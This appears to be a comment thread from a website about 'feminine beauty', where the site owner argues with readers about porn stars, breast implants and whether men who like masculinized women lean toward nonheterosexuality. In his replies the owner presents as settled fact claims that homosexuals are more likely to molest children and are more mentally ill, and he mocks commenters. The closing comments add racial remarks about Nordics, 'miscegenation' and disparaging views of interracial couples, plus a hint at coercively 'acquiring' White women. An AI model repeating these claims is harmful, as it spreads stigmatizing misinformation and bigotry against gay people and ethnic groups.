regarding the physical appearance of women, based on top-ranked porn stars, is posted here. This would also be a good time to respond to the comments left a long time ago. Steve: Zuzana has natural breasts. I have seen other pictures of her, from many different angles, and there does not seem to be any indication that she has breast implants. Marissa Miller has obvious breast implants. Whereas Perfect 10 specializes in models without breast implants, it apparently has featured a handful of models with breast implants; Veronika Zemanova comes to mind. Ryan: A search for Pason aka Red Heaven reveals a woman with breast implants. Whipped honey: You have to be kidding yourself that fake large breasts, comparable in size to Zuzana’s, would be preferred by pornographers to natural ones. Issues such as fake hair and fake eyelashes are irrelevant because they are minor enhancements. Similarly, a nose job will usually be appreciated because it would make the nose look better. Breast implants are a different matter. You can’t tell me that for any given size of breasts (except gigantic ones) fake ones will be preferred to natural ones in young adult women. In young adulthood, breast tissue is usually firm enough for supporting a reasonable shape except for uncommon cases of gigantic breasts. You have digressed the debate to a different issue, the extent to which men prefer natural looks, but the article is specifically in response to your argument about the extent to which masculinization in women, more specifically pornstars, is preferred by men. You mentioned 1990s international sex symbol Pamela Anderson as an example that men are not particular about natural looks, but the flawed assumption is that Pamela Anderson’s stardom reflects strong male preference for her looks. The explanation of her stardom is simple. She was lucky to be spotted in a football game or something like this and caught the attention of Hugh Hefner, a bisexual, who likes masculinized bleached brunettes with breast implants. Pamela Anderson had her big break in Playboy magazine and later starred in Baywatch. What other alternatives were men in general during this period exposed to? Masculinized fashion models and often similar beauty pageants contestants. You left a note about non-looks factors that influence the success of porn stars, but the very fact that I asked the reader to question whether the looks of the top-ranked pornstars made them so successful means that I am well-aware of the non-looks factors. I mentioned “disinhibited screen presence” as an example. You also said about me, “accusing men who disagree with your taste in women of being gay or bisexual is a ridiculous, unprovable cop out.” But). The woman in the video clearly takes breast enhancement pills. Ahhh so in other words feminine beauty is "pointless". What is the use of such beauty/femininity if/when it is unaccessible to heterosexual men??? A beautiful picture that we can only appreciate from a distance and rarely in the form of porn or glamour modeling...? In the interests of heterosexual men, if it is more likely to attain, have sex, experiment with masculinized women why go for "boring" beautiful feminine women? Is that why many married men cheat on their wives with other women because these women are more open to fulfilling their sexual fantasies than housewives? assuming these other women being prostitues (more promiscous) and hence more masculine. I mean Mr. Erik are we still living in this fairytale land where a HETEROSEXUAL man "chases"/"courts" a HETEROSEXUAL feminine woman? So if a women is somewhat masculinized and more confident in approaching a guy for sex or whatever than her feminine counterpart....who is the winner? Do guys mind more masculinized women approaching them? Why do some feminine women still think that a man should approach them and break the ice? Who are we to judge? Yes ERIK i am aware how you view "unconventional" sex but really come on now....some people like you still believe that a penis's insertion into a vagina is only for reproduction and not pleasure. Sorry to break it to you... Most crossdressors are "straight" men. Most child molestors paedophiles are "straight" and although are sexually interested in children or women. Most have no interest in adult "masculine" men. You have no right to say some of the things you have said (false things). Anal sex is more prevalent than you think even since historic times (women's virginity being important etc). God did make the mouth for eating...his creations hehe (I am joking). But Oral sex cannot be justified against religious grounds. Anyways now sticking to the topic...So in other words your saying more masculine women in porn = more uninhibited sexual behaviour? What about cultural differences? Do you think women in veils in Middle East are all feminine because they are non promiscous? LOL I can bet with your high/strict standards they won't even come close! So a Middle Eastern person reading this should assume that Western women are the most masculinized? even the ones (feminine ones) who do glamor modeling or leave the house dressed (yet exposing)? Please Erik, your furstating me a little....I mean what is this natural vs fake nonsense? Yes Zuzana is very attractive. But there other ways of enhancing breasts except breast implants. If breast size is irrelevant to femininity then why do you keep bringing it up so much? I mean if you really want "natural" women why do you post pictures of women with make up, fake eyelashes, penciled in eyebrows, shaved body hair, tans etc etc? So why does this double standard apply to only breast implants? Regarding porn why do you think that men watch these masculinized women? I can really go into details here but there are many men out there (maybe unlike you) who get off on the fact that thier woman will do anything to please them and at the least someone who just doesn't lie there (unexperienced) and waits for the man to insert them and thats it. SURE femininity is beautiful i will definitely agree BUT sexy??? In the end what do many think with their brains or??? Anyways i like you Erik. ..., this for me is where your whole argument sadly falls apart. I agree with a lot of what you say on this site, but I cannot agree with your terminology for men who disagree with you. By saying that men who disagree with you are not "real" heterosexuals you're implying that they are not as masculine as you or people who agree with you are. There are billions of men on this earth, and while many men follow similar patterns in what they prefer in a woman, there is no way they are ever all going to agree. I don't think this has anything to do with their sexuality, and more about just a difference in opinion. I think you could say that most men throughout history and in different cultures tend to agree with what you like in a woman without saying that men who do not like the same things in women are "nonheterosexual". Also, I dislike how you often use the phrase "the feminine norm" when referring to these women in the attractive section of your site. If you want to see the feminine norm, go outside! Just as there are billions of men in the world, there are billions of women. The truth is that the women you've posted are actually not what most everyday women look like. So, I believe it is incorrect terminology to say things like "This women has a butt that is flatter than the feminine norm or "This woman's rib cage is wider than the feminine norm" because there is not really a such thing as a "feminine norm" because females vary so widely. It would be more to correct to say "This woman's backside is flatter than most men, as proven by the various articles and studies on this site, would prefer". There is a difference between saying "This is what is normal among women" and "This is what is normal among what men prefer in women". ... THANKS so much Erik! You have made me soooooo Happy. Not only have you made me realize that i am feminine and beautiful. You have also made me realize that there is this untouched world of men out there for me! 20% of men, narrowly escaped heterosexuality, not exclusively heterosexual! My word Erik you have made me a happy bottom ;) So now whenever i see a man with a masculine woman it will be safe to assume the position...uhm i mean safe to hit on them :D What would work best? sticking my ass out or tongue or getting on my knees? Erik you have called several masculine women attractive...so it is safe for me to bet that you will find my combination of femininity in terms of looks and masculinity in terms of sex drive....Irresistable??? LOL Petite: Why do you have such poor understanding? Where have I called men who disagree with me nonheterosexual? The simple point is that beyond some level of masculinization in women, men attracted to these women will start leaning toward nonheterosexuality. This should be intuitive. And I am not calling nonheterosexual men less masculine, as I have already explained to you. The masculinity situation as a function of heterosexuality-nonheterosexuality is not straightforward, and there is no point to describing it here. Regarding “feminine norm,” this reference is to the masculinity-femininity distribution among women. As a rough notion, people should be able to discern about a third of women who look more feminine than most women, a third who look more masculine than most women and the remaining third who are in the neighborhood of average. So only a minority of women are feminine in this sense, and the feminine norm refers to these women. I know that the women whose pictures I have posted are not what the majority of everyday women look like, but what would be the point of focusing on everyday women? Erik, no need to get up in arms. Just before you "explained" men that like small breasts by saying they are not "lifetime exclusive heterosexuals". That is implying that men who do not agree with your model of what men are supposed to like are somehow less heterosexual than men who do. What about in the case of a woman who is overall very feminine but has small breasts or narrow hips? Is any man who find her physically appealing not a lifetime heterosexual man? What about if a man has varied tastes in women; one moment he finds a thin, shapeless girl attractive and the next he is after a voluptuous feminine one? Is that men also not a lifetime exclusive heterosexual man? Personally, I find it absurd that you think you can decide how heterosexual a man is by which women he prefers. Until you show some sort of reliable article or study that demonstrates a link between men who find small breasts attractive and their degree of homosexual tendencies, I'm going to think it's complete bollocks. Homosexuality is defined by a man who finds other men sexually attractive and performs sexual acts with men, not by how "masculine" the women they prefer are. I am not saying you should focus on everyday women. I get that you are trying to show examples of women men prefer, as in, women who are at the peak of "feminine beauty". I understand more clearly now what you mean by your use of the term "The feminine norm" to describe a women who is higher on the feminine scale than the masculine one. Erik i know you did not respond to my previous questions but seriously do you think there were no other females in the mainstream other than Pamela Anderson? She was the only choice!? I mean the other ladies of Baywatch maybe were more feminine looking then Pamela. What about Sarah Michelle Gellar? Jennifer love Hewit? Spice Girls (some of them)? All these were "big" in the ninties. So men not having options doesn't resonate with me. I was a teenager when Pamela became big. I overheard my classmates talking about her and i asked who she was, to which they replied "Your a guy and you don't know who Pamela Anderson is?" Petite: You should not be commenting at websites that you are not capable of understanding. Again, you have stated, ‘Just before you "explained" men that like small breasts by saying they are not "lifetime exclusive heterosexuals".’ But I never did. I said that one of the reasons for attraction toward small breasts is leaning toward nonheterosexuality or being a nonheterosexual. No evidence needs to be cited. Nonheterosexual males are bound to be more attracted to secondary sexual characteristics leaning toward the male. But this is not the same as saying that those attracted toward small breasts are bound to lean toward nonheterosexuality. You have asked what about women who are overall very feminine but have small breasts or narrow hips? This has been clearly explained within this site. I am not here to spoon feed you. If you cannot make the effort to read around , or do so but don’t understand, you should not assign beliefs or motives to me and refrain from commenting. It should be very clear to those who have gone through this site and are capable of understanding that femininity can only be judged by looking at overall features. A clearly overall feminine woman with either small breasts or hips on the narrower side still looks clearly feminine and will much more strongly – and more so than most women – attract exclusively heterosexual men than nonheterosexual men, on average. If a man finds a thin, shapeless girl attractive and then later a voluptuous feminine one attractive or switches back and forth, I would refrain from judging sexual orientation without more data. In case you didn’t know, some people don’t have stable erotic interests though these interests tend to stabilize with aging. Also, individual attraction could be due to non-looks factors. And nonheterosexual doesn’t just include homosexuals; it includes all kinds of bisexuals. For technical reasons, it also includes people that may currently identify as heterosexual but have been nonheterosexual in the past. Erik, Why do you feel the need to belittle me? I am easily just as intellectual as you are. It does not help your argument if you're just going to label anyone who disagrees with you as incapable of understanding you. If your points are so perfectly outlined and backed up, you should be able to convince me no problem. I'm not as stubborn as you are. I definitely agree that men are more likely to like a feminine woman with an hourglass shape and other such features. I would say that this is true 9 out of 10 times. There is a standard in what most men prefer in women. It has been proven throughout history and even among different completely separate cultures. You have very clearly and undoubtedly proven this on this website. I simply disagree that liking a feminine woman automatically makes you a "lifetime exclusive heterosexual". I also still think it's improper to declare some men as "leaning towards nonheterosexuality" no matter what kind of women they like. Being homosexual is defined by being attracted to members of the same sex. These men are still attracted to women, not men. Like I said, if you can show me a study that shows a consistency between men who like masculine women and how many men they are also attracted to, then I would start to feel differently, but most of these men never show bisexual tendencies, just the tenancy to like more masculine females. Just because a man likes a more masculine woman does not mean he's not actually heterosexual. He could just like women who looks strong and can dominate him? I don't know, but I wouldn't automatically assume they're bisexual. I'd also like to note something: Did you ever notice that many gay men are actually attracted to effeminate men? As in, men that are overly feminine? If gay men are attracted to masculine qualities exclusively, why would they find such girly men so attractive? Why would the try to emulate females to the extent you can sometimes not be able to tell they're men at all? Could it not be possible that men, gay or straight, have various opinions on what makes an attractive partner? Peter: Your comment about feminine beauty being pointless or being inaccessible to heterosexual men is useless and does not follow from anything I have written. You apparently have no understanding of statistical distributions. If two populations, A and B, differ in height and A is shorter on average, there would be no difficulty in finding members of A that are taller than most members of B or members of B that are shorter than most members of A. It is in this sense that an inclination toward a stronger libidio or greater promiscuity tends to go with greater masculinization. One could find some masculine women with hardly any interest in sex, just as one could find very promiscuous feminine women. So your comment about …why go for "boring" beautiful feminine women? Is that why many married men cheat on their wives with other women because these women are more open to fulfilling their sexual fantasies than housewives?... and anything related to it is a useless one. You must stop assigning beliefs to me unless there is clear evidence for it. You said that I believe that the insertion of a penis into the vagina is only for reproduction, not pleasure. How do you know this? This is not my belief. Again, you bring in off-topic issues. The comments at this site are full of off-topic issues. I usually don’t mind, but when someone repeatedly does this, then it is time for me to ask this person to stop, and I am asking you to stop. Often I ignore off-topic issues because of lack of time, but if the off-topic issues involve misrepresenting my stances and assigning beliefs to me that I don’t harbor and dislike, then I have no choice but to waste my time responding. The article you are commenting on has nothing to do with cross-dressers or pedophiles or anal sex or religious stances against oral sex. And even so, your arguments are very poor. Yes, most cross-dressers are straight men, but most men are straight. Per capita, nonheterosexuals are much more overrepresented among cross-dressers. Similarly, homosexuals and bisexuals are much more likely than heterosexuals to be child molesters. The key is to look at the per capita statistic. You asked, “So in other words your saying more masculine women in porn = more uninhibited sexual behaviour?” There is a tendency for more disinhibited sexual behavior to go with greater masculinization, and keep in mind the note about statistical distributions. Cultural differences are an off-topic issue that I don’t have the time to address here, and in any case it does not follow by any stretch of the imagination that what I have written implies that “women in veils in Middle East are all feminine because they are non promiscous?” or that “a Middle Eastern person reading this should assume that Western women are the most masculinized?” Women in the Middle East are not as free to indulge their desires as Women in the West. So looking at behavior is of little relevance, and getting reliable statistics about sexual behaviors or inclinations in the Middle East would be a difficult job also. You asked, “If breast size is irrelevant to femininity then why do you keep bringing it up so much?” This website is not about femininity. It is about feminine beauty. Breast size by itself is of little relevance to femininity but it is relevant to beauty. To the extent that female breasts are a secondary sexual feature, they need to be discussed. Regarding breast implants vs. make-up, shaved body hair and tanning, tanning is a typically natural response to sun exposure, make-up is typically reversible minor enhancement, and shaving hair on the body except the pubes is a reversible minor enhancement of secondary sexual characteristics. Breast implants are a more drastic approach and not reversed without surgical intervention. In addition, well done make-up, shaving of non-pubic body hair and well-done tanning look natural, whereas breast implants rarely look natural when the woman is seen bare-breasted. So I am not applying double standards to breast implants. Why do men watch masculinized women in porn? This should be obvious from the previous discussion. Some are into masculinized women and others don’t have much luck finding feminine women doing the things they wish to see. I didn’t say that 20% of men have narrowly escaped heterosexuality and are not exclusively heterosexual. What I specifically said was that up to 20% of men have either experienced same-sex attraction or indulged in homosexual behavior at some point of their life, i.e., this population is not lifetime-exclusive heterosexual. This does not make a lot more men available to you. Most of this 20% comprises of men who are self-identified heterosexuals and no longer experience same-sex attraction or have any intentions of indulging in homosexual behavior. When you see a man with a masculine woman, nothing about his sexual inclinations can be assumed upfront. Most men are heterosexual whereas a minority of women are feminine. So some heterosexual men are bound to end up with masculinized women. It is only when a rich/famous man or a man with plenty of choice has a history of dating masculinized women or ends up with one is it reasonable to question whether this man leans toward nonheterosexuality or is a nonheterosexual. I will not find your feminine looks attractive. Most people find masculine looks in men attractive. I did not say that there were no other females in the mainstream than Pamela Anderson. The other female competitors would be those shown in glamorous roles or as sex symbols. Sarah Michelle Gellar or Jennifer Love Hewitt didn’t go around posing nude in men’s magazines as far as I know, and you can bet many men preferred their looks to those Pamela Anderson. Another factor is willingness to sleep around. People like Hugh Hefner have made centerfolds out of women who have slept with him and women who would refuse to do this or sleep around with the producers of soap operas or movies wouldn’t get a role. Anyway, I have asked you to comply with some requirements. I am going to ask you to comply with other requirements based on comments you have posted elsewhere. Please heed or I will ask you to leave. I also want you to not waste my time with comments that reflect a poor understanding of my arguments. If you don’t understand the issue or have not read enough of my arguments, don’t leave a comment. Ahhh so its come to this :( Ok i understand, this is your website and you have asked me...so i will try my best to stick to the topic BUT in my defense what other means did i have of bringing up some of the off topic issues? I e-mailed you twice but did not hear from you, plus you don't have a similar site on homosexuality where i can "challenge" some of your ideas. I notice that you usually respond to messages that "attack" you or your reasoning. That was a little interesting you mentioning that you wouldn't find my "feminine" looks attractive. Can i say Ouch?..You have not even seen me? So how can you even answer this? "Most people find masculinity in men attractive"...and that is your reasoning for not finding my looks attractive?....because they deviate from the norm? Why do you always have to bring up/stick to the norm? Do you not have anything that stands out? (your intelligence comes to mind...) That affected me ... a little. But then this is where we differ, I don't need statistics or media to "decide" what is or should be more attractive to me :) Besides i was going to e-mail you pictures of me but didn't want to just send them without establishing contact. Erik you did not understand my comments on promiscuous mascline and "boring" feminine (off course these terms are not representative). Many times on this site you have mentioned how it is hard to find "revealing" pictures of feminine women. Also you have mentioned that the women who you have used are not the "best" out there. Leading one to believe that somewhere out there, there is a heavenly feminine beauty who due to being "feminine" will not expose herself. You have also mentioned many times that masculinized women are more likely to engage in promiscous/more "open" sexual behaviours. And so lets say for arguments sake this is changed...More feminine women are accepted into porn but they are less likely to engage in more "sexy" behaviours. Do you think most heterosexual men would like that? I am sure your aware of the term "good girl to take home to Mom" vs "girl id like to screw". Which would Jennifer Love Hewitt/ Sarah Michelle Geller fall in? Pamela Anderson? If the former posed nude would that change anything? (I am sure the two mentioned actresses must have done some nudity in movies but can't remember). I know many guys who like wholesome, feminine girls (much like some of the girls on this site) and any hint of promiscouity from them means interest lost. Yes we do categorize women just like you do :) Hmmm i am reminded of a comment you made in a page about a glamour model you discovered did porn and how you were "not pleased" to find this out. Don't worry, there are many guys like you out there, who think the same way. So maybe some guys loose "interest" after knowing a particular woman/actress acted in a sex scene/equivalent. Back to the Pamela Anderson situation, during that era many men did find the "good girls" Jennifer and Sarah more attractive but if they did what Pamela did ...fans of "feminine" looks in them would not be as interested. Do you understand what i am trying to say? i can't quite put my finger on it.... Regarding the 20% "homosexual/bisexual/pansexual" statistic. Where are the statistics that men who have participated in homosexual activities in the past (most likely adolescent/teen years) are not going to repeat if the oppertunity presented itself? I know plenty of married men with children who sleep with guys and will never admit to it openly for obvious reasons. Regarding the paedophilia and homosexuality, I have noticed you using these in the same sentence many times and will do more research into it. But I find it very hard to believe. Men deviate most from childlike characteristics compared to women. I find it very hard to believe that someone who is sexually attracted to children would be attracted to men...expecially with body/facial hair etc. Statistics are just that! They can be used by anybody to prove a point. I do not entirely believe in these. Instead of using some "older, white, straight, North American men's biased" statistics why don't you do some of your own (would they be free of bias)? I am sure you are aware of polling/votes on sites such as askmen and Bastardly (which you must love?). Why have you never had a poll here? asking readers if they found a particular woman attractive??? You will be surprised! I only see that as an improvement and another way for the reader to get involved. In the end, always a pleasure learning from you (I will admit to it) but please don't think i have not read or am not aware of your work. I know what you said a few years back. For example this change from the finer/narrower (the better) face shape/features to a more broader face for females is quite the change! I have not obviously read every single detail you mentioned but enough to remember many things you mentioned so i am not that bad...At least i am not coming and asking you why a woman with an angular chin/jaw has a masculine jawline/chin. Coming to my looks again....Heterosexual men like femininity. Many "straight" men have said that i am pretty/feminine and if i was a girl they would...Not to mention many drunk straight guys coming on to me. So i definately don't agree with what you said, from the perspective of heterosexual men. Anyways Have a good weekend end Erik :) Muuuuaaaaahhh! Erik I fogot to mention something. There are other ways of enhancing breast size. I know many transgendered people who have larger breasts than real women. There is such a thing as "pills" you know what i am talking about...that can make a woman more feminine looking. I personally like this idea of videos that you post some of them with sound. I enjoyed the video of Dasha and another girl who had a feminine voice. I think fcr people to fully appreciate feminine beauty as much as they can it would be great to post more videos...where you can hear there voice, see them in motion. Synesthesia! I am sorry Erik for calling you somethings...but some of the comments you made/make hurt me. Petite: I don’t care how intellectual you are as long as you exhibit an understanding of my arguments. I am not one who responds to dissent by saying that the person is incapable of understanding me, but this is my response when I encounter straw men or caricatures of my arguments. You acknowledge that men will generally like the more feminine women, with hourglass figures, over other women. So there should be no exchange between the two of us. The reason there is an exchange is because you are ascribing beliefs to me that I do not hold. Again, you say, ‘I disagree that liking a feminine woman automatically makes you a "lifetime exclusive heterosexual"’ but where have I ever said this? Some homosexuals/bisexuals have told me they like the looks of the feminine women I have been showing over those of fashion models. But the statistical tendency should be clear…which group is more likely to prefer what. Group differences are what matter to this site in so far as the site purpose of promoting feminine beauty goes. For instance, the reason fashion models typically look the way they do is not because of the preference of a single individual but because of the central tendency of the preferences of the dominant fashion designers, the manifestation of which is constrained by what they can get away with it, and it should be very clear that this central tendency has nothing whatsover to do with the central tendency of women’s looks preferences among heterosexual men. The existence of heterosexual men attracted to less feminine or slightly masculinized women does nothing to change this. I also have not declared some men as nonheterosexual no matter what kind of women they are attracted to. You again forget the existence of bisexuals, some of whom are predominantly heterosexual but harbor some homosexual attraction. Some men are exclusively heterosexual in adulthood but have experienced some homosexual attraction as teenagers. What is so difficult in understanding that if these men are attracted to men and women (or were at some point) then they could be attracted to masculinized women? I am not going to judge someone’s sexual orientation based on his woman, but sometimes you get multiple cues and then you can wonder. I know that many homosexual men are into effeminate men just as many of them are into masculine men. So what? The effeminate men are still more masculine than masculine women, on average. The preferences of homosexuals are more variable than those of heterosexuals (among whom there also is plenty of variability). So what? Don’t just focus on homosexuals. Focus on the two groups: lifetime-exclusive heterosexuals and others (conveniently labeled nonheterosexuals; 15-20% of the population). Do you think there are no central tendency differences between these groups? Should this central tendency difference not be intuitive? I know it would be nice to cite some scholarly studies that show these differences regarding ratings of women’s looks, but science-oriented researchers usually ignore the phenomenon that the majority of people that have experienced homosexual interests at some point are predominantly or exclusively heterosexual in adulthood, and the methods they employ are often close to useless for discerning the nuances of attraction. Don’t waste you time with individual preferences when they are not relevant to this site’s purpose, and you must make an effort to understand my arguments. Peter: Your emails were sent to an address I use for this site. I will not be responding to off-topic comments in it either. This has nothing to do with you but I don’t have the time to respond to matters related to this site, let alone off-topic issues. I will get around to answering your emails when I have the time. I have a site on homosexuality where you can challenge my views, and in some form or the other it has been around much longer than this site, but I have not responded to comments or updated it for over an year. So your comments there will have to wait for a response, and chances are very high that my response, not anytime soon for sure, will be a dismissal of your straw men or caricatures. I would recommend that you not waste your time reading what I have to say on homosexuals and bisexuals. You won’t understand and you will not like it. I have never appreciated feminine looks in men. So rest assured I will not like your looks, and this has nothing to do with deviation from the norm; just my preference. The only looks in men that I have any respect or liking for are very masculine looks; mere masculine looks are only acceptable to me in the face. This is in contrast to my liking for women’s looks, which ranges from the slightly masculine to the feminine but not extremely feminine, leaning overwhelmingly toward the feminine side of average. I have stated my preferences here but when I talked about people’s preferences in general, there was a need to mention them. Your comment mentions the scenario “… More feminine women are accepted into porn …” Pornographers are not declining feminine women; there just is a natural shortage of them. In any case, pornographers would rather sell 5 videos with one attractive woman each than one video with 5 attractive women…business interests are play. So it is unlikely that we will see a lot of porn full of attractive feminine women, which heterosexual men will surely appreciate if it came out. The “good girl to take home to Mom” is irrelevant to enjoying pornography or appreciating the physical attractiveness of a nude model. The goal of this site is to go mainstream with feminine beauty promotion, and this means definitely avoiding porn stars and preferably also nude models. This is the reason why I am not pleased to come across a model that I could use but it turns out she is a porn star; her porn work does nothing to change my opinion of her physical attractiveness. At some point I will come up with a mainstream version of this site, minus the science and the nudity. I will avoid nude models there. Married men with children who have sex with men are obviously not exclusively heterosexual. One of the groups I mentioned comprised of people who are exclusively heterosexual in adulthood but had homosexual interests in the past, which went away. This has repeatedly been documented in probability sampling of the general population. It is not like all these people are liars. Some have lost their homosexual inclinations completely, and some people reporting this are older individuals that did not seek homosexual encounters even though they could have. You want to take a look at these studies… you know where to look them up. This is an off-topic issue for this website. Statistics are not just “that.” They are required for making one’s case empirically, and if they are misused, then it is possible to document misuse. Polling askmen or bastardly is a waste of time. They will not yield probability samples. I have much better data: controlled laboratory studies, data from probability sampling, etc. I have never gone from “finer/narrower (the better) face shape/features to a more broader face for females.” Finer facial features are a different matter from narrowness-breadth, and I have never wavered from a preference for finer facial features. And the breadth issue is a shape one, the feminine ones being wider if other things are held constant, and again I have never wavered from overwhelmingly preferring feminine faces in women; the only examples where you would see me with appreciation for somewhat masculinized faces in women is when the masculinization is accompanied by fine facial features. Erik, alright now that you have "clarified" yourself. You don't like feminine looks in men and i don't like men with below average to average self confidence. Confidence level being more important to me than looks, I myself have above average confidence. Just out of curiousity and this is a personal question. What is your orientation? strictly heterosexual, narrowly escaped heterosexual etc? About Statistics....Lets see if i can explain this. If i am looking at child molestors, most of them happen to be related to children. (As well most incestuous child relationships happen in "heterosexual" families). So i can come up with a statistic that a child is more likely to be molested by someone "heterosexual" in the family. Do you understand what i am trying to say? As well if i am looking for "uninhibited" sex across ethnic groups even in North America...what do you suspect my findings might reveal? White heterosexuals and homosexuals are more likely to engage in such behaviour compared to their ethnic counterparts. So must i conclude from this that White people are more "promiscuous"? I know your aware that this is the "belief" held by many Middle Easterns/South Asians/East Asians of White people. Looking at this mental illness that you have mentioned about homosexuals. Why do you think that is? Do you think homosexuals have an easy life.....family acceptance, societal abuse, jobs etc. So is it surprising that many have mental illnesses??? Do you realize mental illness does not have to be a permenant, life long situation? A person interviewed about mental illness can not suffer from its symptoms a few years later? So using that person as a "statistic" a few years later is ok? Consider this information....About 50% of marriages end in divorce in North America (mostly white), children of divorce/single families have higher rates of mental illness, new immigrants have higher rates of mental illness, women of ethnic minorities (such as Muslim women facing cultural constraints by their male realtives) have higher rates of mental illness.....WOMEN have a higher rate of mental illness than men! So if i use some of the statistics and "target" a group is that good? What if that target is non heterosexual men? I personally don't let statistics cloud my judgement. Mental illness is very "easily" used these days. For example i can say you "suffer" from some kind of mental illness based on what i know about you. When people think of mental illness they think of extremes....psychiatric hospitals, locked up etc. Mental illness is very variant and indefinite. So i don't think targeting a group is fair. I can come up with a statistic saying African Americans are more likely to suffer from mental illness because of poverty, lack of jobs etc. According to "your statistics" I should be a mentally ill homosexual male participating in risque sexual behaviour involving "faeces" BUT i am far removed from it. i did not say USE polls from those websites. I meant using polls on this site!!! Such as in the attractive women category where people can leave their opinion in terms of polls. It will make for a more "unbiased" opinion. You are choosing and posting pics of women that you think are feminine/attractive. What if there was a poll and most people found one to be more/less attractive. At least it will tell you how uninformed we regular people are? Its a good way to get more interactive with this website. "I would recommend that you not waste your time reading what I have to say on homosexuals and bisexuals. You won’t understand and you will not like it." ~ ERIK Do you realize what you just wrote? So your saying somethings about homosexuals/bisexuals through "data/statistics" you have collected and it should not be of concern to another homosexual? So who is this information directed at? Homophobic white male population? religious groups? Erik you mention many times ...you won't understand this....you won't understand that. I do WANT to understand/learn. I know some homosexuals/bisexuals who will flat out reject it and never bother with it but i want to understand. I don't believe its a good idea to tell people not to come back to your site, stop reading, not understanding etc. If you are trying to bring your point across whatever it might be (feminine beauty/homosexuals). Do you think academia visit your website? or do you just want "yes men"/ people who agree with you to be on this site and anyone who doesn't obviously hasn't read everything or "stupid" enough not to figure it out. I like learning from you Erik...oh i forgot to ask you I mentioned Spice girls before (I was/am a huge fan obviously) did you "appreciate" any of their looks? Cheers Peter: I gave you a link to a website where you can post your homosexuality-related questions and asked you to not post off-topic issues here. But you have not listened. Your kind of questions waste my time and I have no choice but to defend myself. Consider yourself warned. No more off-topic questions at this website. I am compelled to answer your questions because I strongly reject accusations of misusing statistical data. I gave you a link about the data showing a clear strong relation between nonheterosexuality and sexual interest in children. You have not disputed anything in it, and you must not dispute it at this website, but at the homosexuality site. What you have brought up is molestations within heterosexual families, but the fact remains that heterosexual families do not necessarily comprise of heterosexuals. As I have mentioned repeatedly, most homosexual interests have occurred in predominantly heterosexual people, and these individuals are not lifetime-exclusive heterosexuals, obviously. The tendency for same-sex attraction to cluster with sexual interest in children is strong and very clear. Try disputing this. It is clear that either factors leading to same-sex attraction increase the odds of sexual interest in children or vice versa. This is an empirical find and the homosexuals can do nothing but come up with sophistry to refute this. In the U.S. the promiscuity of whites is intermediate; some ethnic groups are more promiscuous, other less. So what? This is not an issue under discussion. It does not show that I am misusing statistics. It does nothing to refute the contention that sexual interest in children is more common among nonheterosexuals. Why do you digress? Beliefs about white promiscuity held by Asians are of no relevance. The data from probability samples is of relevance. I am not citing people’s beliefs about nonheterosexuals being more likely to be child molesters, but published data. Why should I be explaining to you why mental illness is more common in homosexuals? There is much on this that I have written and a lot of it, including the gist, is freely accessible online. You must make the effort to read it and I can be of no help to you if you are unable to understand it. Of course, I do realize that mental illnesses do not have to be a permanent condition. There is nothing that I have ever written that implies otherwise. One can certainly have a meaningful comparison of two groups with respect to any mental illness diagnosis in lifetime or symptoms within the past year. Any way you look at it, the nonheterosexuals are more mentally ill. The 50% divorce statistic in America is likely false. The true figure should be still substantial, but this statistic and your other examples about rates of mental illnesses are irrelevant since you are using them as examples of statistical data that should not be used to target groups. Your assumption is that I am using the data on homosexuals to ‘target’ them as a group. My intentions with the data have been to seek an understanding of nonheterosexuality. Just because I have come to unflattering conclusions does not mean that my intentions have been to ‘target’ the group. What the public thinks of mental illness is of no relevance. I have used notions of mental illnesses in modern psychiatry even though a conclusion of mine is not consistent with a gay-lobby-concocted position statement of official psychiatry organizations. There is nothing in the statistics that I have presented that should make you ‘a mentally ill homosexual male participating in risque sexual behaviour involving "faeces".’ The statistics that I have presented are about differences in prevalence, and you have again ignored the note about statistical distribution I left in a comment above. Do you realize why I recommend that you should avoid reading my arguments on homosexuality? The answer is that you do not have sufficient background for the understanding. People with an interest in homosexuality, an open mind and sufficient education will want to read it regardless of their orientation, profession or beliefs . You seem to have the interest but not the education, and I am not sure about the open mind part. Other issues: Don’t waste my time asking about the Spice girls. Yes, I am exclusively heterosexual. I don’t need polls about the women I am selecting. Most people going through this site will not bother and malicious individuals will not provide their honest opinion. What I need is free time to improve this site, and you must not waste my time or your comments are unwelcome. Erik, Ok Thank you and good luck. I hope you put your intelligence to "good use". Some facts are better not brought to light for "ethical" reasons such as Nordics having the highest frequency of good looking/fine featured people, homosexuals most likely suffering from mental illness, molesting children etc. I ask you how would you feel if some scientists came to the conclusion that the "group" you belong to has the most likelihood of child molestors? mentally ill people? and people's general opinion of your ethnic group's looks was not high? Can you imagine how it feels? especially when one did not choose to be born that way. I think i can imagine what some "masculine" women might be feeling after reading material from this site. I am sorry to you all but please be comforted by the fact that there is someONE out there for you even though the majority seemingly "prefer" something else. I will not be bothering you again Erik. erik, nordics may have the highest number of good looking fine featured people but they also have an extremely low birth rate and a high miscegenation rate and those fine features are going bye bye. when they are gone i wonder what the porno people are going to do. Terry: I hope you do not intend to post comments along the lines of Peter above—derailing the discussion in an unrelated direction and involving bad data/arguments. Northern Europeans do not have an extremely low birth rate. Scandinavians and their northern counterparts in the U.S. tend to have close-to-replacement-level fertility; the least fertile are disproportionately southern and eastern European countries. In addition, few Northern Europeans have children with people from other populations. Taking the U.S. as an example of what may be expected in an ethnically diverse society (the U.S. is about 60% white), recent (2005) natality statistics reveal that approximately 90% of children born to white women and 93% of children fathered by white men are white. These figures are unlikely to considerably change with continued immigration because mixed-ancestry children born to whites do not vary strongly with the proportion of non-whites in a region. Note also that continued immigration promotes increased “ghettoization” and greater ethnic tensions, which are not conducive to the mixing of ethnic groups. The [American] National Longitudinal Study of Adolescent Health survey [started 1994-1995 and cohort followed through 2008] reveals the lower willingness of Northern European women to have relationships with men of other ancestries. For instance, the proportions of white women who reported any African-American sex partner, by hair color, were: black (8.2%), brown (5.0%), blond (3.9%) and red (3.9%); obviously, the proportions of mixed-ancestry children born to these women are/will be much lower. In addition, there is no nice way to describe the physical appearance [and also personality characteristics] of the majority of white people who have children with non-whites, but I will leave it at low odds of any serious decline in the number of fine-facial-featured good looking Northern Europeans in the next couple of generations. Erik, It is true that Scandinavian countries have some of the highest fertility rates in Europe (as opposed to Southern and Eastern Europe where the fertility rate has dropped to the critical rate of 1.3 children per couple. This is essentially the rate at which a population will die out. Sweden's rate is 1.67 - which is below the replacement rate (roughly 2.1). As far as I know, no society that dropped below 1.9 was able to reverse the decline. The data is troubling for the West and for Caucasians. Regarding the fact that few White women show interest in non-whites...there are always other, less savoury means to 'acquire' White women: Apollyon: I obtained fertility rates of 1.9 